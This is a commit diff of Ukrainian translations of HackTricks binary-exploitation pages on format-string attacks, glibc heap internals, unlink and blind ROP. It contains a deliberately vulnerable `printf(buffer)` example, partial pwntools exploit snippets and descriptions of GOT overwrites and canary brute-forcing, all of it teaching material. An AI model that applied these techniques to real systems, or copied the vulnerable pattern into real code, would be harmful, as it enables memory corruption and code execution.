Translated ['binary-exploitation/format-strings/README.md', 'binary-expl

This commit is contained in:
Translator 2024-11-12 12:24:56 +00:00
parent 0c5740855f
commit 966d05b2d9
98 changed files with 611 additions and 584 deletions

Binary file not shown.

Before

Width:  |  Height:  |  Size: 34 KiB

After

Width:  |  Height:  |  Size: 1.6 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.6 KiB

After

Width:  |  Height:  |  Size: 32 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 32 KiB

After

Width:  |  Height:  |  Size: 142 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 142 KiB

After

Width:  |  Height:  |  Size: 108 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 108 KiB

After

Width:  |  Height:  |  Size: 63 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 63 KiB

After

Width:  |  Height:  |  Size: 36 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 36 KiB

After

Width:  |  Height:  |  Size: 3.7 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 3.7 KiB

After

Width:  |  Height:  |  Size: 12 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 12 KiB

After

Width:  |  Height:  |  Size: 4.1 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 4.1 KiB

After

Width:  |  Height:  |  Size: 131 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 131 KiB

After

Width:  |  Height:  |  Size: 79 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 708 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 708 KiB

After

Width:  |  Height:  |  Size: 287 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 287 KiB

After

Width:  |  Height:  |  Size: 28 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 28 KiB

After

Width:  |  Height:  |  Size: 216 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 216 KiB

After

Width:  |  Height:  |  Size: 30 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 27 KiB

After

Width:  |  Height:  |  Size: 33 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 33 KiB

After

Width:  |  Height:  |  Size: 116 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 116 KiB

After

Width:  |  Height:  |  Size: 418 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 418 KiB

After

Width:  |  Height:  |  Size: 35 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 35 KiB

After

Width:  |  Height:  |  Size: 3.7 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 3.7 KiB

After

Width:  |  Height:  |  Size: 62 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 62 KiB

After

Width:  |  Height:  |  Size: 59 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 154 KiB

After

Width:  |  Height:  |  Size: 74 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 74 KiB

After

Width:  |  Height:  |  Size: 271 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 271 KiB

After

Width:  |  Height:  |  Size: 105 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 105 KiB

After

Width:  |  Height:  |  Size: 13 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 13 KiB

After

Width:  |  Height:  |  Size: 461 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 461 KiB

After

Width:  |  Height:  |  Size: 36 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 36 KiB

After

Width:  |  Height:  |  Size: 56 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 7.8 KiB

After

Width:  |  Height:  |  Size: 254 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 254 KiB

After

Width:  |  Height:  |  Size: 5.5 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 5.5 KiB

After

Width:  |  Height:  |  Size: 254 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 254 KiB

After

Width:  |  Height:  |  Size: 112 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 112 KiB

After

Width:  |  Height:  |  Size: 22 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 22 KiB

After

Width:  |  Height:  |  Size: 35 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 35 KiB

After

Width:  |  Height:  |  Size: 39 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 39 KiB

After

Width:  |  Height:  |  Size: 50 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 3.2 MiB

After

Width:  |  Height:  |  Size: 10 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 10 KiB

After

Width:  |  Height:  |  Size: 262 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 262 KiB

After

Width:  |  Height:  |  Size: 19 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 19 KiB

After

Width:  |  Height:  |  Size: 56 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 56 KiB

After

Width:  |  Height:  |  Size: 58 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 407 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 407 KiB

After

Width:  |  Height:  |  Size: 284 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 284 KiB

After

Width:  |  Height:  |  Size: 40 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 40 KiB

After

Width:  |  Height:  |  Size: 79 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 79 KiB

After

Width:  |  Height:  |  Size: 138 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 96 KiB

After

Width:  |  Height:  |  Size: 175 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 175 KiB

After

Width:  |  Height:  |  Size: 453 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 453 KiB

After

Width:  |  Height:  |  Size: 25 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 25 KiB

After

Width:  |  Height:  |  Size: 160 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 160 KiB

After

Width:  |  Height:  |  Size: 126 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 172 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 172 KiB

After

Width:  |  Height:  |  Size: 210 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 210 KiB

After

Width:  |  Height:  |  Size: 25 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 25 KiB

After

Width:  |  Height:  |  Size: 3.1 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 3.1 KiB

After

Width:  |  Height:  |  Size: 86 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1 MiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1 MiB

After

Width:  |  Height:  |  Size: 594 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 594 KiB

After

Width:  |  Height:  |  Size: 26 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 26 KiB

After

Width:  |  Height:  |  Size: 3.5 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 3.5 KiB

After

Width:  |  Height:  |  Size: 551 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 30 KiB

After

Width:  |  Height:  |  Size: 82 KiB

View file

@ -1,8 +1,8 @@
# Форматні рядки
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Вивчайте та практикуйте AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -10,21 +10,20 @@
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Якщо ви зацікавлені в **кар'єрі в хакерстві** та хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
{% embed url="https://www.stmcyber.com/careers" %}
## Основна інформація
У C **`printf`** - це функція, яка може бути використана для **виведення** деякого рядка. **Перший параметр**, який очікує ця функція, - це **сирий текст з форматерами**. **Наступні параметри** - це **значення**, які потрібно **замінити** на **форматери** з сирого тексту.
У C **`printf`** - це функція, яка може бути використана для **виведення** деякого рядка. **Перший параметр**, який очікує ця функція, - це **сирий текст з форматерами**. **Наступні параметри**, які очікуються, - це **значення** для **заміни** **форматерів** з сирого тексту.
Інші вразливі функції - це **`sprintf()`** та **`fprintf()`**.
@ -49,7 +48,7 @@ char buffer[30];
gets(buffer); // Dangerous: takes user input without restrictions.
printf(buffer); // If buffer contains "%x", it reads from the stack.
```
* Звичайне використання:
* Нормальне використання:
```c
int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
@ -73,7 +72,7 @@ return 0;
```
### **Доступ до вказівників**
Формат **`%<n>$x`**, де `n` - це число, дозволяє вказати printf вибрати n параметр (з стеку). Тож, якщо ви хочете прочитати 4-й параметр зі стеку, використовуючи printf, ви можете зробити:
Формат **`%<n>$x`**, де `n` - це число, дозволяє вказати printf вибрати n параметр (з стеку). Отже, якщо ви хочете прочитати 4-й параметр зі стеку, використовуючи printf, ви можете зробити:
```c
printf("%x %x %x %x")
```
@ -88,12 +87,12 @@ printf("%4$x")
Зверніть увагу, що атакуючий контролює параметр `printf`, **що в основному означає, що** його введення буде в стеку, коли викликається `printf`, що означає, що він може записувати конкретні адреси пам'яті в стек.
{% hint style="danger" %}
Атакуючий, який контролює цей ввід, зможе **додати довільну адресу в стек і змусити `printf` отримати доступ до них**. У наступному розділі буде пояснено, як використовувати цю поведінку.
Атакуючий, що контролює цей ввід, зможе **додати довільну адресу в стек і змусити `printf` отримати доступ до них**. У наступному розділі буде пояснено, як використовувати цю поведінку.
{% endhint %}
## **Довільне Читання**
Можливо використовувати форматер **`%n$s`**, щоб змусити **`printf`** отримати **адресу**, що знаходиться в **n позиції**, слідуючи за ним, і **друкувати її так, ніби це рядок** (друкувати до знаходження 0x00). Отже, якщо базова адреса бінарного файлу **`0x8048000`**, і ми знаємо, що введення користувача починається з 4-ї позиції в стеці, можливо надрукувати початок бінарного файлу за допомогою:
Можливо використовувати форматер **`%n$s`**, щоб змусити **`printf`** отримати **адресу**, що знаходиться в **n позиції**, слідуючи за ним, і **друкувати її так, ніби це рядок** (друкувати, поки не буде знайдено 0x00). Отже, якщо базова адреса бінарного файлу **`0x8048000`**, і ми знаємо, що введення користувача починається з 4-ї позиції в стеці, можливо надрукувати початок бінарного файлу за допомогою:
```python
from pwn import *
@ -179,7 +178,7 @@ AAAA.%500\$08x —> Param at offset 500
* **HOB** називається для 2 вищих байтів адреси
* **LOB** називається для 2 нижчих байтів адреси
Потім, через те, як працює формат рядка, вам потрібно **спочатку записати найменший** з \[HOB, LOB\], а потім інший.
Потім, через те, як працює формат рядка, вам потрібно **спочатку записати найменший** з \[HOB, LOB] і потім інший.
Якщо HOB < LOB\
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
@ -238,21 +237,19 @@ p.interactive()
* [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html)
* 32 біт, relro, без canary, nx, без pie, форматний рядок для запису адреси всередині main в `.fini_array` (щоб потік повертався ще раз) і запису адреси до `system` в таблиці GOT, що вказує на `strlen`. Коли потік повертається до main, `strlen` виконується з введенням користувача і вказує на `system`, він виконає передані команди.
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Якщо вас цікавить **кар'єра в хакерстві** і ви хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
Якщо ви зацікавлені в **кар'єрі в хакерстві** та хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
Вчіться та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вчіться та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Вчіться та практикуйте AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Вчіться та практикуйте GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<summary>Підтримайте HackTricks</summary>
Підтримка HackTricks
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
</details>
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
{% endhint %}

View file

@ -27,9 +27,9 @@
У **багатопотокових** додатках менеджер хіпу повинен запобігати **умовам гонки**, які можуть призвести до збоїв. Спочатку це робилося за допомогою **глобального м'ютекса**, щоб забезпечити доступ до хіпу лише одного потоку в один момент часу, але це викликало **проблеми з продуктивністю** через вузьке місце, викликане м'ютексом.
Щоб вирішити цю проблему, аллокатор хіпу ptmalloc2 ввів "арени", де **кожна арена** діє як **окремий хіп** зі своїми **власними** структурами **даних** та **м'ютексом**, що дозволяє кільком потокам виконувати операції з хіпом без перешкоджання один одному, якщо вони використовують різні арени.
Щоб вирішити цю проблему, аллокатор хіпу ptmalloc2 ввів "арени", де **кожна арена** діє як **окремий хіп** зі своїми **власними** структурами **даних** та **м'ютексом**, що дозволяє кільком потокам виконувати операції з хіпом без перешкод один одному, якщо вони використовують різні арени.
За замовчуванням "основна" арена обробляє операції з хіпом для однопотокових додатків. Коли **додаються нові потоки**, менеджер хіпу призначає їм **вторинні арени**, щоб зменшити конкуренцію. Спочатку він намагається приєднати кожен новий потік до невикористаної арени, створюючи нові, якщо це необхідно, до межі 2 разів від кількості ядер ЦП для 32-бітних систем і 8 разів для 64-бітних систем. Коли межа досягається, **потоки повинні ділити арени**, що може призвести до потенційної конкуренції.
За замовчуванням "основна" арена обробляє операції з хіпом для однопотокових додатків. Коли **додаються нові потоки**, менеджер хіпу призначає їм **вторинні арени**, щоб зменшити конкуренцію. Спочатку він намагається приєднати кожен новий потік до невикористаної арени, створюючи нові, якщо це необхідно, до межі 2 рази кількості ядер ЦП для 32-бітних систем і 8 разів для 64-бітних систем. Коли межа досягається, **потоки повинні ділити арени**, що може призвести до потенційної конкуренції.
На відміну від основної арени, яка розширюється за допомогою системного виклику `brk`, вторинні арени створюють "підхіпи" за допомогою `mmap` та `mprotect`, щоб імітувати поведінку хіпу, що дозволяє гнучко управляти пам'яттю для багатопотокових операцій.
@ -45,7 +45,7 @@
* За замовчуванням резервований розмір для підхіпу становить 1 МБ для 32-бітних процесів і 64 МБ для 64-бітних процесів.
3. **Поступове Розширення з `mprotect`**:
* Резервована область пам'яті спочатку позначена як `PROT_NONE`, що вказує на те, що ядро не повинно виділяти фізичну пам'ять для цього простору поки що.
* Щоб "зрости" підхіп, менеджер хіпу використовує `mprotect`, щоб змінити дозволи сторінок з `PROT_NONE` на `PROT_READ | PROT_WRITE`, спонукаючи ядро виділити фізичну пам'ять для раніше зарезервованих адрес. Цей покроковий підхід дозволяє підхіпу розширюватися за потреби.
* Щоб "збільшити" підхіп, менеджер хіпу використовує `mprotect`, щоб змінити дозволи сторінок з `PROT_NONE` на `PROT_READ | PROT_WRITE`, спонукаючи ядро виділити фізичну пам'ять для раніше зарезервованих адрес. Цей покроковий підхід дозволяє підхіпу розширюватися за потреби.
* Як тільки весь підхіп вичерпується, менеджер хіпу створює новий підхіп для продовження алокації.
### heap\_info <a href="#heap_info" id="heap_info"></a>
@ -70,13 +70,13 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
```
### malloc\_state
**Кожен купа** (основна арена або арени інших потоків) має **структуру `malloc_state`.**\
**Кожна купа** (основна арена або арени інших потоків) має **структуру `malloc_state`.**\
Важливо зазначити, що **структура `malloc_state` основної арени** є **глобальною змінною в libc** (отже, розташована в пам'яті libc).\
У випадку **структур `malloc_state` куп потоків, вони розташовані **всередині власної "купи" потоку**.
Є кілька цікавих моментів, які варто відзначити з цієї структури (див. код C нижче):
* `__libc_lock_define (, mutex);` Призначено для забезпечення того, щоб до цієї структури з купи отримував доступ лише 1 потік одночасно
* `__libc_lock_define (, mutex);` Призначена для забезпечення доступу до цієї структури з купи лише з одного потоку одночасно
* Прапори:
* ```c
#define NONCONTIGUOUS_BIT (2U)
@ -86,7 +86,7 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
#define set_noncontiguous(M) ((M)->flags |= NONCONTIGUOUS_BIT)
#define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT)
```
* `mchunkptr bins[NBINS * 2 - 2];` містить **вказівники** на **перший і останній шматки** малих, великих і неупорядкованих **бінів** (мінус 2, оскільки індекс 0 не використовується)
* `mchunkptr bins[NBINS * 2 - 2];` містить **вказівники** на **перший і останній шматки** малих, великих і незасортованих **бінів** (мінус 2, оскільки індекс 0 не використовується)
* Отже, **перший шматок** цих бінів матиме **зворотний вказівник на цю структуру**, а **останній шматок** цих бінів матиме **прямий вказівник** на цю структуру. Це в основному означає, що якщо ви зможете **викрити ці адреси в основній арені**, ви отримаєте вказівник на структуру в **libc**.
* Структури `struct malloc_state *next;` і `struct malloc_state *next_free;` є зв'язаними списками арен
* Шматок `top` є останнім "шматком", який в основному є **всією залишковою пам'яттю купи**. Як тільки верхній шматок "порожній", купа повністю використана, і потрібно запитати більше місця.
@ -258,13 +258,13 @@ req = (req + (__MTAG_GRANULE_SIZE - 1)) &
return request2size (req);
}
```
Зверніть увагу, що для обчислення загального необхідного простору `SIZE_SZ` додається лише 1 раз, оскільки поле `prev_size` може використовуватися для зберігання даних, тому потрібен лише початковий заголовок.
Зверніть увагу, що для розрахунку загального необхідного простору `SIZE_SZ` додається лише 1 раз, оскільки поле `prev_size` може використовуватися для зберігання даних, тому потрібен лише початковий заголовок.
### Отримати дані фрагмента та змінити метадані
### Отримати дані шматка та змінити метадані
Ці функції працюють, отримуючи вказівник на фрагмент, і корисні для перевірки/встановлення метаданих:
Ці функції працюють, отримуючи вказівник на шматок, і корисні для перевірки/встановлення метаданих:
* Перевірити прапори фрагмента
* Перевірити прапори шматка
```c
// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c
@ -327,7 +327,7 @@ people extending or adapting this malloc.
/* Treat space at ptr + offset as a chunk */
#define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s)))
```
* Інсуюча біт
* Insue bit
```c
/* extract p's inuse bit */
#define inuse(p) \
@ -362,7 +362,7 @@ people extending or adapting this malloc.
/* Set size at footer (only when chunk is not in use) */
#define set_foot(p, s) (((mchunkptr) ((char *) (p) + (s)))->mchunk_prev_size = (s))
```
* Отримати розмір реальних використовуваних даних всередині блоку
* Отримайте розмір реальних використовуваних даних всередині блоку
```c
#pragma GCC poison mchunk_size
#pragma GCC poison mchunk_prev_size
@ -395,7 +395,7 @@ return ptr;
### Швидкий приклад купи
Швидкий приклад купи з [https://guyinatuxedo.github.io/25-heap/index.html](https://guyinatuxedo.github.io/25-heap/index.html), але в arm64:
Швидкий приклад купи з [https://guyinatuxedo.github.io/25-heap/index.html](https://guyinatuxedo.github.io/25-heap/index.html), але на arm64:
```c
#include <stdio.h>
#include <stdlib.h>
@ -468,27 +468,27 @@ return 0;
```
</details>
Відлагоджуючи попередній приклад, можна побачити, що на початку є лише 1 арена:
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Потім, після виклику першого потоку, який викликає malloc, створюється нова арена:
Відлагоджуючи попередній приклад, можна побачити, як на початку є лише 1 арена:
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Потім, після виклику першого потоку, того, що викликає malloc, створюється нова арена:
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
і всередині неї можна знайти кілька шматків:
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
## Контейнери та виділення/звільнення пам'яті
## Bins & Memory Allocations/Frees
Перевірте, що таке контейнери, як вони організовані та як пам'ять виділяється і звільняється в:
Перевірте, що таке bins, як вони організовані та як пам'ять виділяється і звільняється в:
{% content-ref url="bins-and-memory-allocations.md" %}
[bins-and-memory-allocations.md](bins-and-memory-allocations.md)
{% endcontent-ref %}
## Перевірки безпеки функцій купи
## Heap Functions Security Checks
Функції, пов'язані з купою, виконуватимуть певні перевірки перед виконанням своїх дій, щоб спробувати переконатися, що купа не була пошкоджена:
@ -496,7 +496,7 @@ return 0;
[heap-functions-security-checks.md](heap-memory-functions/heap-functions-security-checks.md)
{% endcontent-ref %}
## Посилання
## References
* [https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/)
* [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/)

View file

@ -1,12 +1,12 @@
# unlink
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Вивчайте та практикуйте AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Підтримати HackTricks</summary>
<summary>Підтримайте HackTricks</summary>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
@ -63,13 +63,13 @@ p->bk_nextsize->fd_nextsize = p->fd_nextsize;
}
}
```
### Графічне пояснення
### Графічне Пояснення
Перегляньте це чудове графічне пояснення процесу unlink:
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption><p><a href="https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png">https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png</a></p></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption><p><a href="https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png">https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png</a></p></figcaption></figure>
### Перевірки безпеки
### Перевірки Безпеки
* Перевірте, чи вказаний розмір шматка такий же, як prev\_size, вказаний у наступному шматку
* Також перевірте, що `P->fd->bk == P` і `P->bk->fw == P`
@ -85,11 +85,11 @@ p->bk_nextsize->fd_nextsize = p->fd_nextsize;
* Якщо P знаходиться в кінці двозв'язного списку, `fd` буде вказувати на `malloc_state` у libc
* Коли двозв'язний список містить лише один вільний шматок, P знаходиться в двозв'язному списку, і обидва `fd` і `bk` можуть витікати адресу всередині `malloc_state`.
Витоки купи:
Витоки Heap:
* Якщо P знаходиться на початку двозв'язного списку, `fd` буде вказувати на доступний шматок у купі
* Якщо P знаходиться в кінці двозв'язного списку, `bk` буде вказувати на доступний шматок у купі
* Якщо P знаходиться в двозв'язному списку, обидва `fd` і `bk` будуть вказувати на доступний шматок у купі
* Якщо P знаходиться на початку двозв'язного списку, `fd` буде вказувати на доступний шматок у heap
* Якщо P знаходиться в кінці двозв'язного списку, `bk` буде вказувати на доступний шматок у heap
* Якщо P знаходиться в двозв'язному списку, обидва `fd` і `bk` будуть вказувати на доступний шматок у heap
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\

View file

@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
## Основна інформація
Мета цієї атаки полягає в тому, щоб **зловживати ROP через переповнення буфера без будь-якої інформації про вразливий бінарний файл**.\
Мета цієї атаки полягає в тому, щоб **зловживати ROP через переповнення буфера без будь-якої інформації про вразливий двійковий файл**.\
Ця атака базується на наступному сценарії:
* Вразливість стека та знання про те, як її викликати.
@ -27,7 +27,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
### **1. Знайти вразливий офсет** відправляючи ще один символ, поки не буде виявлено збій сервера
### **2. Брутфорс канарейку** для її витоку
### **2. Брутфорс канарку** для її витоку
### **3. Брутфорс збережених адрес RBP та RIP** у стеку для їх витоку
@ -41,7 +41,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
Ця техніка використовує гаджет [**ret2csu**](ret2csu.md). І це тому, що якщо ви отримуєте доступ до цього гаджета посеред деяких інструкцій, ви отримуєте гаджети для контролю **`rsi`** та **`rdi`**:
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
Це будуть гаджети:
